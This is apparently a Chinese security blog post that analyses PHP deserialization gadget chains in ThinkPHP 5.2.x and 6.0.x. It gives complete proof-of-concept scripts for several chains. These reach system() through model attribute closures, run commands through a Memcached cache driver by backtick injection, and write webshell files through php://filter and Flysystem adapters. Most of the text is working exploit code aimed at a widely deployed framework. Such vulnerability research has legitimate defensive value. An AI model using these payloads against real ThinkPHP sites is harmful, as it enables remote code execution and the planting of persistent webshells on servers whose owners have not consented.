ThinkPHP 6.0.x 反序列化简析
由于官方已删除 framework v5.2.x-dev,导致无法复现环境,只能靠现有文章理解了 https://xz.aliyun.com/t/6619#toc-2
先记:Thinkphp 5.2.x 反序列化简析
由于官方已删除 framework v5.2.x-dev,导致无法复现环境,只能靠现有文章理解了 https://xz.aliyun.com/t/6619#toc-2
-
这种方法是利用
think\model\concern\Attribute类中的getValue方法中可控的一个动态函数调用的点,$closure = $this->withAttr[$fieldName]; //$withAttr、$value可控,令$closure=system,$value = $closure($value, $this->data);//system('ls',$this->data),命令执行 -
这种方法跟上面基本一样,唯一不同的就是在getValue处利用tp自带的SerializableClosure调用,而不是上面找的system()
\Opis\Closure可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。在Opis\Closure\SerializableClosure->__invoke()中有call_user_func函数,当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。call_user_func_array($this->closure, func_get_args());
这意味着我们可以序列化一个匿名函数,然后交由上述的$closure($value, $this->data)调用,将会触发SerializableClosure.php的__invoke执行$func = function(){phpinfo();};$closure = new \Opis\Closure\SerializableClosure($func);$closure($value, $this->data);// 这里的参数可以不用管 -
需要可以上传,利用
think\Db.php中存在__call实现文件包含getshell
6.0.x 反序列化简析
Gadget i
来源 https://www.anquanke.com/post/id/187393,文章中是利用`checkAllowFields`中509行db 方法中的 name 函数进行字符串转换
实际可以直接利用510行的.连接,更加方便,本文对后者进行分析,由于执行system后$data被置为0,在进入510行后,会因为进入toArray下array_merge合并参数数组时报错退出
利用链类似5.2.x上的__destruct -> __toString,不过6.x取消了Windows类,需要换一个入口
- 在 Model 和 AbstractCache 下类似的调用了 save 方法,但是后者没有实现,只能看前者

跟入updateData -> checkAllowFields -> db看到字符串拼接,接下来就是类似之前的流程了,这里选择$this->name、$this->table、$this->suffix都可以,但如果是$table的话会因为在510行时进入toArray下array_merge合并参数数组时,由于509行执行后$data被置为0,报错退出

poc 编写
为了能进入checkAllowFields触发__toString,我们需要考虑绕过中间的返回
根据下图,可知最直接进入的需求为:
$lazySave= true$datanot empty$exists= true$force= true

<?phpnamespace think;abstract class Model {
function __construct(){ $this->lazySave = true; $this->exists = true; $this->data = ['sari3l']; $this->force = true; }}
namespace think\model;use think\Model;
class Pivot extends Model {};
echo base64_encode(serialize(new Pivot()));之后我们还需要$this->table存在情况下进行字符串连接,并设置为目标类以及触发Conversion下的__toString,但是 Model 就已经继承Conversion,所以只需要重新生成一个再传入即可
<?phpnamespace think;abstract class Model { ...
function __construct($obj){ ... $this->table = $obj; }}
...
class Pivot extends Model { function __construct($obj){ parent::__construct($obj); }}
$obj_1 = new Pivot(null);echo base64_encode(serialize(new Pivot($obj_1)));接下来就是在Conversion中实现动态加载函数,和5.2.x相似

注意到toArray中需要控制$data中的key,以及在getAttr中从$data中取对应value,以及最后将通过$withAttr控制$closure,同时注意到488行判断了两个key同才可进入逻辑
简单来说
$withwithAttrkey[$key]-> 目标方法$data[$key]-> 目标参数
abstract class Model { ... private $data = []; private $withAttr = [];
function __construct($obj){ ... $this->data = ['sari3l' => '/System/Applications/Calculator.app/Contents/MacOS/Calculator']; $this->withAttr = ["sari3l" => "system"]; }}最终 POC
<?phpnamespace think;abstract class Model {
function __construct($obj){ $this->lazySave = true; $this->exists = true; $this->data = ['sari3l' => '/System/Applications/Calculator.app/Contents/MacOS/Calculator']; $this->force = true; $this->table = $obj; $this->withAttr = ["sari3l" => "system"]; }}
namespace think\model;use think\Model;class Pivot extends Model { function __construct($obj){ parent::__construct($obj); }}
$obj_1 = new Pivot(null);echo base64_encode(serialize(new Pivot($obj_1)));
Gadget ii
这里利用的同5.2.x中的第二种方法
\Opis\Closure可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数,然后交由上述的
$closure($value, $this->data)调用执行。
当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用,$closure又是可控的传入,那么可以直接序列化一个匿名函数在getValue中触发

只是$closure那里需要修改,简单改一下 poc 即可,注意加载autoload文件
namespace think;require __DIR__ . '/../vendor/autoload.php';use Opis\Closure\SerializableClosure;abstract class Model { ... function __construct($obj){ ... $this->data = ['sari3l' => '']; $this->withAttr = ["sari3l" => new SerializableClosure(function (){system('/System/Applications/Calculator.app/Contents/MacOS/Calculator');})]; }...
还需要注意一点,由于此gadget中$data并不起到参数作用而只是为了绕过return,所以由于checkAllowFields的509行执行db中存在转换$table拼接,而510也同样存在$table转换,导致会触发两次,可以利用$name实现只触发一次
Gadget iii
前两个都依靠 Model -> __destruct,这里来看看 AbstractCache -> __destruct
由于AbstractCache并没有实现save方法,要看看其子类;如果子类也没有实现,还可看其__call方法

通过搜索set方法,我们可以看到Redis、cache/driver/File、driver/Memcached、Memcache均有类似的逻辑代码


编写 poc
先按照之前的写法,准备进入 serialize 函数
<?phpnamespace think\cache\driver;class Memcached { protected $options = ['prefix' => '?'];}
namespace think\filesystem;use think\cache\driver\Memcached;class CacheStore {
function __construct(){ $this->autosave = false; $this->key = '_sari3l'; $this->store = new Memcached(); $this->expire = 0; }}
echo base64_encode(serialize(new CacheStore()));在serialize中,我们可以通过控制options执行目标函数,但还需考虑如何控制进入serialize的$value了,即控制最后执行的参数
通过下面的调用,可以看到最主要位于最后的
- array_flip 交换键值
- array_intersect_key 使用键名比较计算数组的交集 -> 取共同键,取第一个数组中对应值,组成新数组返回

在shell里面,
`的优先级是高于"的,所以会先执行whoami然后再将执行结果拼接成一个新的命令
php > system('{"1":"`whoami`"}');sh: {1:sariel.d}: command not found因此我们只需要保证目标语句在返回数据中存在即可,由于优先级问题,不用考虑数据是否合法
交换键值后,$cachedProperties = ['path' => 0, ...],因为array_intersect_key会在第一个参数中取值,所以只要保证$object = ['path' => '`<command>`']即可
最终 POC
<?phpnamespace think\cache\driver;class Memcached { protected $options = ['prefix' => 'author', 'serialize' => ['system']];}
namespace think\filesystem;use think\cache\driver\Memcached;class CacheStore {
function __construct(){ $this->autosave = false; $this->key = '_sari3l'; $this->store = new Memcached(); $this->expire = 0; $this->cache = [['path' => '`/System/Applications/Calculator.app/Contents/MacOS/Calculator`']]; }}
echo base64_encode(serialize(new CacheStore()));
Gadget iv
在Gadget iii中利用的think\cache\driver\Memcached
而在cache/driver/File中除了同 iii 中的直接利用方式,还可以直接写shell
主要利用两点:
-
在 getForStorage 中 json_encode 实现拼接

-
利用php伪协议转义写入文件内容,而且同时用于可以绕过
exit(),(测试$cache直接明文payload,$this->cache会直接为空,可能有过滤但未注意)

需要注意的两点
$data会经过serialize可执行任意方法,为了保持原有字符串内容,这里选择serialize或其他函数- 要控制
$complete内容将最终写入$data前部分内容长度为 4 的倍数,以便正常执行base64解码
最终 POC
<?phpnamespace think\cache\driver;class File { protected $options = [ 'prefix' => false, 'hash_type' => 'md5', 'cache_subdir' => false, 'path' => 'php://filter/convert.base64-decode/resource=/tmp/', 'data_compress' => false, 'serialize' => ['serialize'], ];}
namespace think\filesystem;use think\cache\driver\File;class CacheStore {
function __construct() { $this->autosave = false; $this->expire = 0; $this->key = '_sari3l'; $this->store = new File(); $this->cache = []; $this->complete = 'PD9waHAgZWNobyAic2FyaTNsIjsgPz4K'; }}
echo base64_encode(serialize(new CacheStore()));Gadget vi + i
类似写入还有:Adapter 这个很简单,不想写分析了,直接上 POC
唯一的问题,不知道我本地原因还是怎么,$cache和$complete中不能明文带 php payload,否则直接为空?
<?phpnamespace League\Flysystem\Adapter;class Local{ function __construct() { $this->pathPrefix = '/'; }}
namespace League\Flysystem\Cached\Storage;use League\Flysystem\Adapter\Local;class Adapter{ function __construct() { $this->autosave = false; $this->adapter = new Local(); $this->cache = []; $this->file = '/tmp/sari3l.php'; $this->complete = "_sari3l"; }}
echo base64_encode(serialize(new Adapter()));